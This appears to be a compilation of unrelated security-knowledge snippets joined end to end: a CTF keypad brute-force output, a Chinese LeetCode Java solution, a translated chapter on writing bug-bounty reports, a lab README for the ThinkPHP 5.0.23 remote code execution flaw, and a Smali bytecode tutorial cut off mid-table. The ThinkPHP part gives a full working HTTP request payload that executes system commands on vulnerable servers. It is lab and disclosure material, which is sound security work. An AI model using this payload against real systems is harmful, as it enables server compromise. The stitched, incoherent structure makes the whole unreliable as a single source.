short while we get the combination: ```console ┌──(user@kali)-[/media/sf_CTFs/google/12_Singapore_-_Harbour] └─$ python3 solve.py [/] Brute-forcing combination: Trying 87053 [*] Found code: 87053 ┌──(user@kali)-[/media/sf_CTFs/google/12_Singapore_-_Harbour] └─$ curl 'https://old-lock-web.2021.ctfcompetition.com/' -s --data-raw 'v=87053' | grep CTF <p>Got it!<br>CTF{IThinkWeNeedToReplaceTheKeypad}</p> </div> ```
sec-knowleage
# 63. 股票的最大利润 ## 题目链接 [Leetcode:121. Best Time to Buy and Sell Stock ](https://leetcode.com/problems/best-time-to-buy-and-sell-stock/description/) ## 题目描述 可以有一次买入和一次卖出,买入必须在前。求最大收益。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/42661013-750f-420b-b3c1-437e9a11fb65.png" width="220px"> </div><br> ## 解题思路 使用贪心策略,假设第 i 轮进行卖出操作,买入操作价格应该在 i 之前并且价格最低。因此在遍历数组时记录当前最低的买入价格,并且尝试将每个位置都作为卖出价格,取收益最大的即可。 ```java public int maxProfit(int[] prices) { if (prices == null || prices.length == 0) return 0; int soFarMin = prices[0]; int maxProfit = 0; for (int i = 1; i < prices.length; i++) { soFarMin = Math.min(soFarMin, prices[i]); maxProfit = Math.max(maxProfit, prices[i] - soFarMin); } return maxProfit; } ```
sec-knowleage
# 二十、漏洞报告 > 作者:Peter Yaworski > 译者:[飞龙](https://github.com/) > 协议:[CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0/) 所以这一天终于来了,你发现了你的第一个漏洞。 首先,恭喜你! 认真来讲,发现漏洞并不容易,但是有一些不爽的事情。 我的第一条建议是放松,不要过度兴奋。 我知道在提交报告时的极度兴奋感,以及当你被告知它不是漏洞,公司关闭了漏洞报告,损害了你在漏洞平台上的声望,被拒绝的沮丧感。我想帮你避免它们。所以,第一件事是首先: ## 阅读披露准则 在 HackerOne 和 Bugcrowd 上,每个参与公司都列出了范围内外的程序。希望你先阅读它们,以免你浪费时间。 但是如果没有,请现在阅读。 确保你发现的是未发现的,而不在他们的程序之外。 这是我以前的一个痛苦的例子 - 我在 Shopify 发现的第一个漏洞,如果你在文本编辑器中提交格式不正确的 HTML,其解析器就会对其进行更正并存储 XSS。 我非常兴奋,因为我的挖掘是有回报的。 我无法足够快地提交报告。 太好了,我点击提交,等待我的 500 美元的奖金。 相反,他们礼貌地告诉我,这是一个已知的漏洞,他们要求研究人员不要提交。 然后这个工单被关闭了,我失去了 5 分。 我想钻进洞里。这是一个惨痛的教训。 从我的错误中学习,要阅读准则。 ## 包含细节。之后包含更多东西 如果你希望认真对待报告,请提供详细的报告,其中至少包括: + 用于查找漏洞的 URL 和任何受影响的参数 + 浏览器,操作系统(如适用)和/或应用程序版本的说明 + 对感知影响的描述。 这个 bug 可能如何被利用? + 重现错误的步骤 这些标准对于 Hackerone 的主要公司来说都很常见,包括雅虎,Twitter,Dropbox 等。如果你想更进一步,我建议你添加屏幕截图或视频验证(POC)。 两者都对公司有很大帮助,并将帮助他们了解漏洞。 在这个阶段,你还需要考虑该网站的影响。 例如,由于用户和交互数量众多,Twitter 上存储的 XSS 可能是一个非常严重的问题。 相比之下,一个交互有限的站点可能不会将这个漏洞视为严重。不同的是,敏感的网站,如 PornHub 的隐私泄露可能比在 Twitter 上更重要,后者大多数用户信息已经是公开的(而不会尴尬?)。 ## 确认漏洞 你已阅读准则,你已经起草了你的报告,你已经添加了截图。等一下,并确保你的报告实际上是一个漏洞。 例如,如果你要报告公司在其标题中没有使用 CSRF 令牌,那么你是否看到了,要传递的参数是否包含一个像 CSRF 令牌一样的标记,但是标签不一样? 在提交报告之前,我无法鼓励你确保已经验证了此漏洞。 考虑你所发现的重要漏洞,只是让你意识到你在测试时弄错了一些东西,这非常令人失望。 在你提交该漏洞之前,请自行决定是否需要额外的时间并确认该漏洞。 ## 尊重厂商 根据 HackerOne 公司创建的测试流程(是的,你可以作为研究人员进行测试),当公司启动新的漏洞奖励计划时,它们可能会收到大量报告。 提交之后,让公司有机会审查你的报告并回复你。 一些公司在他们的奖励准则上发布时间表,而其他公司则没有。 平衡你的兴奋与他们的工作量。 根据我与 HackerOne 支持者的对话,如果你在至少两周内没有收到公司的消息,他们将帮助你进行跟进。 在你选择这条路线之前,在报告上发布礼貌的消息,询问是否有更新。 大多数时候,公司会回应并让你了解情况。 如果他们并没有留出太多时间,在问题升级之前再试一次。 另一方面,如果公司已经确认了这个漏洞,一旦完成,与他们一起确认修复。 在写这本书的时候,我很幸运地和 Adam Bacchus 聊天,他是截至 2016 年 5 月的 HackerOne 团队的新成员,任首席奖励官,我们的对话真的让我开阔了眼界。 在他的背景中,Adam 拥有 Snap Chat 和 Google 的工作经验。在 Snap Chat 时,他衔接了安全团队,和其他软件工程团队。在 Google 时,他在漏洞管理团队工作,并帮助执行 Google 漏洞奖励计划。 亚当帮助我理解了,运行奖励计划时,有一些分析者会遇到的问题,包括: + 噪音:不幸的是,漏洞奖励计划会收到大量无效的报告,HackerOne 和 BugCrowd 都已经写过这个。 我知道我绝对有贡献,希望这本书可以帮助你避免这个问题,因为提交无效报告会为你和奖励计划浪费时间和金钱。 + 优先级:漏洞计划必须找一些方法来为漏洞修复排序。 当你有多个具有类似影响的漏洞,但报告持续不断进入时,这非常困难,奖励计划面临严峻的挑战。 + 验证:在分析报告时,必须验证漏洞。 这就是为什么我们的黑客必须提供明确的指示,并解释我们发现的内容,如何重现它以及为什么它是重要的。 只是提供一个视频并不能切中它。 + 资源:并不是每个公司都能雇得起全职工作人员来运行奖励计划。 有些计划很幸运,有专门的人对报告做出回应,而其他计划则由工作人员兼任。 因此,公司可能会有轮流的时间表,人们轮流回应报告。提供必要信息中的任何信息差距或延误都会产生严重影响。 + 编写修复:编码需要时间,特别是如果有完整的开发生命周期的时候,包括调试,编写回归测试,分期部署,最后推送到生产环境。如果开发人员甚至不知道漏洞的根本原因怎么办?这一切都需要时间,而我们黑客不耐烦,想要奖励。这就是沟通交流的重点,每个人都需要相互尊重。 + 关系管理:黑客奖励计划希望黑客能够回来。 HackerOne 已经在文章中写到,在黑客向单个程序提交更多漏洞的同时,漏洞的影响如何增长。 因此,奖励方案需要找到一种方法来平衡发展这些关系。 + 媒体关系:漏洞可能会错过,花费太长时间才能解决,或者被认为奖励太低,总是有黑客会在 Twitter 或媒体上曝光的压力。还有,这会对分析者造成影响,并影响他们与黑客发展关系和协作的方式。 看完所有这一切,我的目标是真正有助于使这个过程人性化。我有两方面的经验,好的和坏的。 然而最后,黑客和程序员将一起工作,了解每一个面临的挑战,这有助于改善各方面的成果。 ## 奖金 如果你向支付奖金的公司提交了一个漏洞,请尊重他们对奖金金额的决定。 根据 Joaro Abma(HackerOne 联合创始人) Quora 上 的回答:[我如何成为一个成功的漏洞赏金猎人?](https://www.quora.com/How-do-I-become-a-successful-Bug-bounty-hunter): > 如果你不同意收到的金额,请讨论你为什么相信它值得更高的奖励。在没有详细说明你为什么相信的情况下,不要索要另一份奖金。作为回报,一家公司应该表示尊重你的时间和价值。 ## 不要在穿越池塘之前喊“你好” 在 2016 年 3 月 17 日,Mathias Karlsson 撰写了一篇很牛并且很棒的博客文章,关于寻找可能的同源策略(SOP)绕过(同源策略是一个安全特性,它定义了 Web 浏览器如何允许脚本从网站访问内容),我在这里包含一些内容。 除此之外,Mathias 在 HackerOne 上有很好的成绩 - 截至 2016 年 3 月 28 日,他发现了 109 个漏洞,在 Signal 上为第 97 个百分比,在 Impact 上是第 95 个,公司包括 HackerOne,Uber,Yahoo,CloudFlare 等。 所以,“不要在穿越池塘之前喊‘你好’”是一个瑞典谚语,意思是你在绝对确定前不应该庆祝。 你可能猜到我为什么说这个 - 挖漏洞并不总是充满阳光和彩虹。 根据 Mathias 的说法,他正在使用 Firefox,并注意到浏览器会接受格式错误的主机名(OSX),所以 URL `http://example.com..`会加载`example.com`,但是在主机头中发送`example.com..`。然后他尝试了`http://example.com..evil.com`并得到相同的结果。 他立即知道了,这意味着 SOP 可以被绕过,因为 Flash 会将`http://example.com..evil.com`视为`*.evil.com`域下。他检查了 Alexa 前 10000 名,发现有 7% 的网站可以被利用,包括`Yahoo.com`。 他创建了一个 WriteUp,但决定做一些更多的确认。 他检查了一个同事,他们的虚拟机也证实了这个 bug。他更新了 Firefox,bug还在那里。然后他在 Twitter 暗示了他的发现。对他来说,Bug 已经验证了,对吧? 并不是。它所犯的错误就是它没有将它的操作系统更新到最新版本。这样做之后,Bug 就消失了。很明显,这在 6 个月之前就有人报告了,并且更新到 OSX 10.0.5 会修复这个问题。 我将其包含在这里来展示,即使优秀的黑客也可能弄错,以及在报告之前确认 Bug 的利用十分重要。 非常感谢 Mathias 让我包含这个 - 我推荐关注它的 Twitter 动态`@avlidienbrunn`,以及`labs.detectify.com`,Mathias 在那里的文章中写到了它。 ## 最后的话 希望本章能帮助你,你最好准备撰写一份“杀手”报告。在发送之前,请稍等一下,真正考虑一下报告 - 如果要公开披露和公开阅读,你会感到自豪吗? 无论你提交了什么,你应该为提供支持做好准备,为公司,其他黑客和你自己辩护。我不是说这个来吓到你,而是作为一些建议的话,我希望我最开始也能知道它。我最开始的时候,绝对提交了可疑的报告,因为我只是想上排行榜,并且助人为乐。但是,企业受到了轰炸。找到完全可重复的安全漏洞,并清楚地报告它更有帮助。 你可能会想知道谁真正关心它 - 去问公司,以及在乎其他黑客的想法的人吧。 这很公平。 但至少在 HackerOne 上,你的报告是重要的,你的统计数据将被跟踪,每当你收到有效的报告时,都会根据你的“Signal”记录数据,范围为 -10 到 7,可以平均显示你的报告值: + 提交灌水,你会得到 -10 + 提交被拒绝,你会得到 -5 + 提交说明式信息,你会得到 0 + 提交可解决的报告,你会得到 7 同样,谁在乎呢? Signal 现在用于判断谁能够收到私有计划的邀请,以及谁可以将报告提交给公开的计划。私有计划对于黑客来说,通常都是鲜肉 -- 这些站点刚刚进入漏洞奖励计划,仅仅向一部分黑客开放他们的站点。这意味着,潜在的漏洞和较少的竞争。 对于报告给其它公司 -- 使用我的经验作为一个警告的故事吧: 我被邀请参加一个私有计划,在一天之内,发现了八个漏洞。 但是那天晚上,我向另一个计划提交了一份报告,得到了一个无效。 这使我的 Signal 到了 0.96。 第二天,我再次向私有公司报告,并得到了通知 - 我的 Signal 太低了,我必须等待 30 天来储存点数,并且其他公司要求 Signal 为 1.0。 真是糟糕! 虽然没有人找到我在那段时间发现的漏洞,但是他们可能会花费我的钱。每一天我都检查了我是否可以再次报告。 从那以后,我发誓要提升我的 Signal ,你也应该这样! 祝挖掘顺利!
sec-knowleage
# ThinkPHP5 5.0.23 Remote Code Execution Vulnerability [中文版本(Chinese version)](README.zh-cn.md) ThinkPHP is an extremely widely used PHP development framework in China. In its version 5.0(<5.0.24), while obtaining the request method, the framework processes it incorrectly, which allows an attacker to call any method of the Request class, resulting in a RCE vulnerability through a specific exploit chain. References: - https://github.com/top-think/framework/commit/4a4b5e64fa4c46f851b4004005bff5f3196de003 ## Environment Setup Enter the following command:(ThinkPHP version: 5.0.23) ``` docker compose up -d ``` Visit `http://your-ip:8080` and you'll see the default page of ThinkPHP. ## POC Send the packets and execute the command `id`: ``` POST /index.php?s=captcha HTTP/1.1 Host: localhost Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 72 _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id ``` ![](1.png)
sec-knowleage
# Smali ## 介绍 在执行 Android Java 层的代码时,其实就是 Dalvik(ART) 虚拟机(使用 C或 C++ 代码实现)在解析 Dalvik 字节码,从而模拟程序的执行过程。 自然,Dalvik 字节码晦涩难懂,研究人员们给出了 Dalvik 字节码的一种助记方式:smali 语法。通过一些工具(如 apktool),我们可以把已有的 dex 文件转化为若干个 smali 文件(**一般而言,一个 smali 文件对应着一个类**),然后进行阅读。对于不同的工具来说,其转换后的 smali 代码一般都不一样,毕竟这个语法不是官方的标准。这里我们介绍比较通用的语法。值得注意的是,在smali 语法中,使用的都是寄存器,但是其在解释执行的时候,很多都会映射到栈中。 **感觉似乎这里给个例子比较合适!!!!!** ## 基本结构 一个 Smali 文件的基本信息如下 - 基本类信息 - 前三行描述转换为该 Smali 文件的类的信息 - 如果类实现了接口,对应的接口信息 - 如果类使用了注解,对应的注解信息 - 字段描述 - 方法描述 比较有意思的是,Smali 代码基本上还原了 java 代码中含义。它主要有以下两种类型的语句 - 声明语句用来声明 java 中自顶向下的类,方法,变量类型,以及每个方法中所要使用的寄存器的个数等信息。 - 执行语句来执行 java 中的每一行代码,包含方法的调用,字段的读写,异常的捕捉等操作。 整体来说,Smali 代码的可读性还是比较强的。 ## 声明语句 在 smali 代码中,声明语句一般都是以 `.` 开始。 ### 寄存器 目前,Dalvik 使用的寄存器都是 32 位,对于 64 位类型的变量,如 double 类型,它会使用两个相邻的 32 位寄存器来表示。 此外,我们知道 Dalvik 最多支持 65536 个寄存器(编号从 0~65535 ),但是 ARM 架构的 cpu 中只有 37 个寄存器。那 Dalvik 是怎么做的呢?其实,每个 Dalvik 虚拟机维护了一个调用栈,该调用栈用来支持虚拟寄存器和真实寄存器相互映射的。 #### 寄存器声明 在执行具体方法时,Dalvik 会根据 `.registers` 指令来确定该函数要用到的寄存器数目,虚拟机会根据申请的寄存器的数目来为该方法分配相应大小的栈空间,dalvik 在对这些寄存器操作时,其实都是在操作栈空间。 #### 寄存器命名规则 一个方法所申请的寄存器会分配给函数方法的参数 (parameter) 以及局部变量 (local variable) 。在 smali 中,一般有两种命名规则 - v 命名法 - p 命名法 假设方法申请了 m+n 个寄存器,其中局部变量占 m 个寄存器,参数占 n 个寄存器,对于不同的命名规则,其相应的命名如下 | 属性 | v命名法 | p命名法 | | :------: | :-----------------------: | :-------------------: | | 局部变量 | $v_0,v_1,...,v_{m-1}$ | $v_0,v_1,...,v_{m-1}$ | | 函数参数 | $v_m,v_{m+1},...,v_{m+n}$ | $p_0,p_1,...,p_{n-1}$ | 一般来说我们更倾向于 p 命名法,因为其具有较好的可读性,可以方便地让我们知道寄存器属于哪一种类型。 而这其实也就是 smali 语法中常见的寄存器命名规则,p 开头的寄存器都是参数寄存器,v 开头的寄存器都是局部变量寄存器,两者的数量之和为方法申请的寄存器数量。 ### 变量类型 在 Dalvik 字节码中,变量主要分为两种类型 | 类型 | 成员 | | ---- | ---------------------------------------- | | 基本类型 | boolean,byte,short,char,int,long,float,double,void(只用于返回值类型) | | 引用类型 | 对象,数组 | 但是,我们在 smali 中其实并不需要把一个变量的类型的描述的全称全部放进去,我们只需要可以识别它即可,那我们可以怎么做呢?可以对它进行简写啊。dalvik 中简写方式如下 | java类型 | 类型描述符 | | :-----: | :---: | | boolean | Z | | byte | B | | short | S | | char | C | | int | I | | long | J | | float | F | | double | D | | void | V | | 对象类型 | L | | 数组类型 | [ | 其中对象类型可以表示Java代码中的所有类。比如说如果一个类在java代码中的以package.name.ObjectName(全名)的方式被引用,那么在Davilk中,其描述则是 `Lpackage/name/ObjectName;` ,其中 - L即上面所说的对象类型。 - 全名中的 `.` 被替换为 `/` 。 - 后面跟了一个 `;` 。 比如说在 `java.lang.String` ,其相应的形式为`Ljava/lang/String;` > 注:所谓全名就是它的全程不仅仅是简写,比如String其实是java.lang.String。 数组类型可以表示java中的所有数组。其一般的构成形式由前向后依次分为两个部分 - **数组维数**个[,但数组的维数最多为255。 - 数据元素类型,这里的类型自然就不能是[了。 比如说int数组 `int []` 在smali中的表示形式为 `[I ` 。 比如说数组类型 `String[][]` 在smali中的表示形式为 `[[Ljava/lang/String;` 。 ### 字段 在 java 的类中,一般都会有成员变量,也称为其属性或者字段。java中的字段分为 - 普通字段,实例属性 - 静态字段,类属性,所有的类实例共享。 #### 普通字段 声明如下 ```text #instance fields .field <访问权限修饰符> [非权限修饰符] <字段名>:<字段类型> ``` 其中访问权限修饰符可以为 - public - private - protected 非权限修饰符可以为(**查明其用法!!!**) - final - volidate - transient 举个例子,如下 ```smali # instance fields .field private str1:Ljava/lang/String; ``` 这里声明其实如下 ```java private java.lang.String str1; ``` #### 静态字段 一般表示如下 ```smali #static fields .field <访问权限> static [修饰词] <字段名>:<字段类型> ``` 这里我们就不介绍相应内容了,直接给出一个例子 ``` # static fields .field public static str2:Ljava/lang/String; ``` 其实声明如下 ```java public static java.lang.String str2; ``` ### 方法 在 smali 代码中,方法一般的展现形式如下 ```text # 描述方法类型 .method <访问权限修饰符> [修饰符] <方法原型> <.locals> [.parameter] [.prologue] [.line] <代码逻辑> [.line] <代码逻辑> .end ``` 其中第一行以注释形式描述方法的类型,一般是反编译工具添加上去的,分为两种类型 - 直接方法,direct method - 虚方法,virtual method 访问权限可能有有以下形式,与 java 中的一一对应 - public - private - protected 修饰符主要有以取值范围 - static,表明该方法是静态方法 方法原型一般为 `方法名(参数类型描述符)返回值类型描述符` 。与java方法中不一样的是,在 smali 的这个方法原型中不会有参数对应的名字的,对应参数的名字可能会在.parameter中进行指定。 .locals 会指定方法使用的局部变量。 .parameter 的个数与方法的使用的参数格式一致,每一条语句声明一个参数。如果方法是静态方法的话,我们会使用 p0 来表示this,即当前对象,否则的话,参数就正常用 p0 开始。 .prologue 指定程序的开始处。混淆过后的代码可能会没有这一说明。 .line 指定相应的代码在原 java 文件的行数。如果程序进行了混淆,一般就不会有这一行了。 **举个例子,,,,找个合适的例子!!!!!!** ### 类 #### 基本类信息 如下 ```text .class <访问权限修饰符> [非权限修饰符] <类名> .super <父类名> .source <源文件名称> ``` 其中,`<>` 中的内容必须存在,`[]` 的内容是可选的。访问权限修饰符即所谓的 `public`,`protected`,`private`。而非权限修饰符则指的是`final`,`abstract`。举个例子 ```smali .class public final Lcom/a/b/c; .super Ljava/lang/Object; .source "Demo.java" ``` 可以看出我们类的访问权限是`public`,非权限修饰符为`final`,类名为`com.a.b.c`,它继承了父类`java.lang.object`,对应的源文件为`Demo.java`。 #### 接口 如果一个类实现了某个接口,则会通过`.implements`进行,如下: ``` #interfaces .implements <接口名称> ``` 给个例子,一般来说,smali都会对其进行注释表明它是一个接口。 ```smali # interfaces .implements Landroid/view/View$OnClickListener; ``` #### 类的类别 Java中允许在一个类中定义另外一个类,还允许多层嵌套,我们称类中的类为内部类。内部类主要有 - 成员内部类 - 静态嵌套类 - 方法内部类 - 匿名内部类 在smali中,每个类都会对应一个smali文件。 #### 类的引用 在smali代码中,我们会使用 this 来表示父类的引用,对于父类的中的子类,我们会根据其层数来进行引用,其格式为`this$[层数]` ,举个例子 ```java public class MainActivity extends Activity { //this$0 public class firstinner //this$1 { public class secondinner //this$2 { public class thirdinner //this$3 { } } } } ``` 比如说`thirdinner` 引用`firstinner` 其会使用`this$1` 来进行引用。而且,对于`this$x` 这样的字段都会被定义为`synthetic` 类型,表明这种字段是由编译器自动生成的,在源代码里并没有这样的字段。 此外,在smali中,每个类都会对应一个 smali 文件,这几个类对应的 smali 文件名分别为 ``` MainActivity.smali MainActivity$firstinner.smali MainActivity$firstinner$secondinner.smali MainActivity$firstinner$thirdinner.smali ``` ### 注解 注解的格式如下 ```smali #annotations .annotation [注解的属性] <注解范围> [注解字段=值] ... .end ``` 其中,如果注解范围是类的话,注解会直接出现在 smali 文件中。如果注解范围是方法或者字段的话,会包含在相应的方法或者字段的定义中。 ## 执行语句 这里部分参考http://blog.csdn.net/wizardforcel/article/details/54730253。 ### Dalvik指令格式 在介绍 smali 语法中的指令之前,我们先来看看 Dalvik 指令的基本格式。 Dalvik 中指令的格式主要包含两个方面:位描述,格式ID。目前 Dalvik 中基本上所有的指令如下图所示,其中第一列给出了指令按照位进行描述的格式,第二列是格式化 ID ,第三列表示相应的句法,第四列对其进行说明。 #### 位描述 在位描述中,Davik 中的每一类指令一般由如下的元素构成 - 一个op,8位指令码 - 若干个字符,每一个字符表示4位 - 若干个 `|` ,进行分割,方便阅读。 - 若干个 $\varnothing$ ,同样也是4个字符,表示该部分位为0。 此外,在上面的展现形式种,指令由一个或者多个空格分割的 16 位的 word 组成,其中每一个 word 可以包含上述的几个元素。 举个例子,指令 `B|A|op CCCC` 包含2个 word,一共 32 位。其中,第一个字的低 8 位是操作码,中间 4 位是A,高4位是B。第二个字是单独的16位的数值。 #### 格式ID 但是,正如表格里所展现的 这样的一种指令格式,根据ID的不同,仍然可以表示不同的指令含义。 一般来说,格式ID由若干个字符组成,一般来说包含3个字符 - 第一个数字表示word的数量 - 第二个 - 数字的话,表示指令包含的寄存器的最大数量(这是因为有些指令可以包含不定个数的寄存器) - r的话,表示使用了一定范围内的寄存器(range)。 - 第三个字符表示指令使用到的额外数据的类型。如下表 | Mnemonic | Bit Sizes | Meaning | | -------- | --------- | ---------------------------------------- | | b | 8 | immediate signed byte | | c | 16, 32 | constant pool index | | f | 16 | interface constants (only used in statically linked formats) | | h | 16 | immediate signed hat (high-order bits of a 32- or 64-bit value; low-order bits are all `0`) | | i | 32 | immediate signed int, or 32-bit float | | l | 64 | immediate signed long, or 64-bit double | | m | 16 | method constants (only used in statically linked formats) | | n | 4 | immediate signed nibble | | s | 16 | immediate signed short | | t | 8, 16, 32 | branch target | | x | 0 | no additional data | - 如果存在第四个字符的话 - s表示采用静态链接 - i表示指令应该被内联处理。 #### 句法 其基本要求如下 - 指令以操作码op开始,后面直接跟上一个或者多个参数,参数间以逗号分隔。 - 指令的参数从指令第一部分开始,op位于低8位,高8位可以是一个8位的参数,也可以是两个4位的参数,还可以为空。如果指令超过16位,则后面部分依次作为参数。 - 参数`Vx`表示寄存器,如v0、v1等。这里之所以采用v而不用r是为了避免与实现该虚拟机架构的机器架构中的寄存器命名产生冲突。 - 参数 `#+X` 表示常量数字。 - 参数 `+X` 表示相对指令的地址偏移。 - 参数 `kind@X` 表示常量池索引值,其中kind表示常量池类型,可以是以下四种类型 - string,字符串常量池索引 - type,类型常量池索引 - field,字段常量池索引 - meth,方法常量池索引 以指令 `op vAA, type@BBBB` 为例,指令使用了1个寄存器vAA,一个32位的类型常量池索引。 ### 指令特点 Dalvik指令在调用规范上大致模仿常见的架构和 C 样式的调用规范,如下 - 参数顺序为 Dest-then-source 。 - 利用后缀用来表明运算类型,从而消除歧义: - 正常的32 位运算不标记。 - 正常地64 位运算以 `-wide` 为后缀。 - 特定类型的运算码以其类型(或简单缩写)为后缀,这些类型包括:`-boolean`、`-byte`、`-char`、`-short`、`-int`、`-long`、`-float`、`-double`、`-object`、`-string`、`-class` 和 `-void`。 - 利用运算码部分后缀区分具有不同指令样式或者或选项的相同运算,这些后缀与主要名称之间以 `/` 分开,主要目的是使生成和解析可执行文件的代码中存在与静态常量的一对一映射关系,以便于降低让读者感到模糊不清的可能性。 例如,在指令`move-wide/from16 vAA, vBBBB` 中 - `move`为基础运算码,表示这是基本运算,用来移动寄存器的值。 - `wide`为名称后缀,表示指令对64 位数据进行运算。 - `from16`为运算码后缀,表示源为一个 16 位寄存器的引用变量。 - `vAA`为目的寄存器,取值范围为 `v0` - `v255`。 - `vBBBB`为源寄存器,取值范围为 `v0` - `v65535`。 ### 具体指令 这里,我们具体介绍依次每一条指令的含义,并尽可能地对其进行分类。 #### 空指令 nop指令,无任何操作,一般用于对齐代码。 #### 数据定义指令 | op&id | 语法 | 参数 | 说明 | | ------ | ---------------------------------------- | ---------------------------------------- | ---------------------------------------- | | 2 11n | const/4 vA, #+B | `A:` 目标寄存器(4 位) `B:` 有符号整数(4 位) | 将给定的值(符号扩展为 32 位)移到指定的寄存器中。 | | 13 21s | const/16 vAA, #+BBBB | `A:` 目标寄存器(8 位) `B:` 有符号整数(16 位) | 将给定的值(符号扩展为 32 位)移到指定的寄存器中。 | | 14 31i | const vAA, #+BBBBBBBB | `A:` 目标寄存器(8 位) `B:` 任意 32 位常量 | 将给定的值移到指定的寄存器中。 | | 15 21h | const/high16 vAA, #+BBBB0000 | `A:` 目标寄存器(8 位) `B:` 有符号整数(16 位) | 将给定的值(右零扩展为 32 位)移到指定的寄存器中。 | | 16 21s | const-wide/16 vAA, #+BBBB | `A:` 目标寄存器(8 位) `B:` 有符号整数(16 位) | 将给定的值(符号扩展为 64 位)移到指定的寄存器对中。 | | 17 31i | const-wide/32 vAA, #+BBBBBBBB | `A:` 目标寄存器(8 位) `B:` 有符号整数(32 位) | 将给定的值(符号扩展为 64 位)移到指定的寄存器对中。 | | 18 51l | const-wide vAA, #+BBBBBBBBBBBBBBBB | `A:` 目标寄存器(8 位) `B:` 任意双字宽度(64 位)常量 | 将给定的值移到指定的寄存器对中。 | | 19 21h | const-wide/high16 vAA, #+BBBB000000000000 | `A:` 目标寄存器(8 位) `B:` 有符号整数(16 位) | 将给定的值(右零扩展为 64 位)移到指定的寄存器对中。 | | 1a 21c | const-string vAA, string@BBBB | `A:` 目标寄存器(8 位) `B:` 字符串索引 | 将给定的字符串引用赋值给指定的寄存器中。 | | 1b 31c | const-string/jumbo vAA, string@BBBBBBBB | `A:` 目标寄存器(8 位) `B:` 字符串索引 | 将给定字符串引用(较大)赋值到指定的寄存器中。 | | 1c 21c | const-class vAA, type@BBBB | `A:` 目标寄存器(8 位) `B:` 类型索引 | 将给定类引用赋值到指定的寄存器中。如果指定的类型是原始类型,则将存储对原始类型的退化类的引用。 | 举个例子,如果java代码如下 ```java boolean z = true; z = false; byte b = 1; short s = 2; int i = 3; long l = 4; float f = 0.1f; double d = 0.2; String str = "test"; Class c = Object.class; ``` 那么编译之后得到的代码如下 ```smali const/4 v10, 0x1 const/4 v10, 0x0 const/4 v0, 0x1 const/4 v8, 0x2 const/4 v5, 0x3 const-wide/16 v6, 0x4 const v4, 0x3dcccccd # 0.1f const-wide v2, 0x3fc999999999999aL # 0.2 const-string v9, "test" const-class v1, Ljava/lang/Object; ``` 可以看出,根据数据类型大小的不同,会采用不同的语法。此外,我们可以看到float的字面值是0x3dcccccd,这其实就是0.1。关于浮点数在计算机中的存在形式,请自行网上搜索。此外,一般来说,smali会自动帮我们将string的id转换为其真正的字符串。 #### 数据移动 数据移动指令主要是将数据从一个寄存器或者内存中移动到另一处。 | op&id | 语法 | 参数 | 说明 | | ------ | ----------------------------- | :---------------------------------- | ------------------------------- | | 01 12x | move vA, vB | `A:` 目标寄存器(4 位)`B:` 源寄存器(4 位) | vA=vB | | 02 22x | move/from16 vAA, vBBBB | `A:` 目标寄存器(8 位)`B:` 源寄存器(16 位) | vAA=vBBBB | | 03 32x | move/16 vAAAA, vBBBB | `A:` 目标寄存器(16 位)`B:` 源寄存器(16 位) | vAAAA=VBBBB | | 04 12x | move-wide vA, vB | `A:` 目标寄存器对(4 位)`B:` 源寄存器对(4 位) | vA,v(A+1)=vB,V(B+1) | | 05 22x | move-wide/from16 vAA, vBBBB | `A:` 目标寄存器对(8 位)`B:` 源寄存器对(16 bit) | vAA,v(AA+1)=vBBBB,V(BBBB+1) | | 06 32x | move-wide/16 vAAAA, vBBBB | `A:` 目标寄存器对(16 位)`B:` 源寄存器对(16 bit) | vAAAA,v(AAAA+1)=vBBBB,V(BBBB+1) | | 07 12x | move-object vA, vB | `A:` 目标寄存器(4 位)`B:` 源寄存器(4 位) | 对象引用赋值,vA=vB | | 08 22x | move-object/from16 vAA, vBBBB | `A:` 目标寄存器(8 位)`B:` 源寄存器(16 位) | 对象引用赋值,vAA=vBBBB | | 09 32x | move-object/16 vAAAA, vBBBB | `A:` 目标寄存器(16 位)`B:` 源寄存器(16 位) | 对象引用赋值,vAAAA=vBBBB | | 0a 11x | move-result vAA | `A:` 目标寄存器(8 位) | 将函数调用返回值放到VAA寄存器中。 | | 0b 11x | move-result-wide vAA | `A:` 目标寄存器对(8 位) | 将函数调用返回值放到VAA寄存器中。 | | 0c 11x | move-result-object vAA | `A:` 目标寄存器(8 位) | 将函数调用返回对象引用VAA寄存器中。 | | 0d 11x | move-exception vAA | `A:` 目标寄存器(8 位) | 将捕获的异常保存到给定寄存器中。 | 其中,`move`系列指令以及`move-result` 用于处理小于等于 32 位的基本类型。 `move-wide`系列指令和`move-result-wide`用于处理64位类型,包括`long`和`double`类型。 `move-object`系列指令和`move-result-object`用于处理对象引用。 此外,后缀(`/from16`、`/16`)只影响字节码的位数和寄存器的范围,不影响指令的逻辑。 #### 数据转换指令 数据转换指令主要是将一种数据类型转换为另一种数据类型。目前已有的指令如下 | **指令** | **说明** | | --------------- | ----------------- | | neg-int | 对整型数求补 | | not-int | 对整型数求反 | | neg-long | 对长整型数求补 | | not-long | 对长整型数求反 | | neg-float | 对单精度浮点型数求补 | | neg-double | 对双精度浮点型数求补 | | int-to-long | 将整型数转换为长整型 | | int-to-float | 将整型数转换为单精度浮点型数 | | int-to-dobule | 将整型数转换为双精度浮点数 | | long-to-int | 将长整型数转换为整型 | | long-to-float | 将长整型数转换为单精度浮点型 | | long-to-double | 将长整型数转换为双精度浮点型 | | float-to-int | 将单精度浮点数转换为整型 | | float-to-long | 将单精度浮点数转换为长整型数 | | float-to-double | 将单精度浮点数转换为双精度浮点型数 | | double-to-int | 将双精度浮点数转换为整型 | | double-to-long | 将双精度浮点数转换为长整型 | | double-to-float | 将双精度浮点数转换为单精度浮点型 | | int-to-byte | 将整型转换为字节型 | | int-to-char | 将整型转换为字符型 | | int-to-short | 将整型转换为短整型 | 举个例子`int-to-short v0,v1` 即将寄存器v1的值强制转换为short类型,并放入v0中。 #### 数学运算指令 数学算指令包括算术运算指令与逻辑运算指令。其中,算术运算指令包括加,减,乘,除,模,移位等运算,逻辑运算指令主要进行数值间与,或,非,抑或等运算。 数据运算指令有以下四类,其中运算符为binop。 | **指令** | **说明** | | -------------------------- | ------------------------------ | | binop vAA, vBB, vCC | 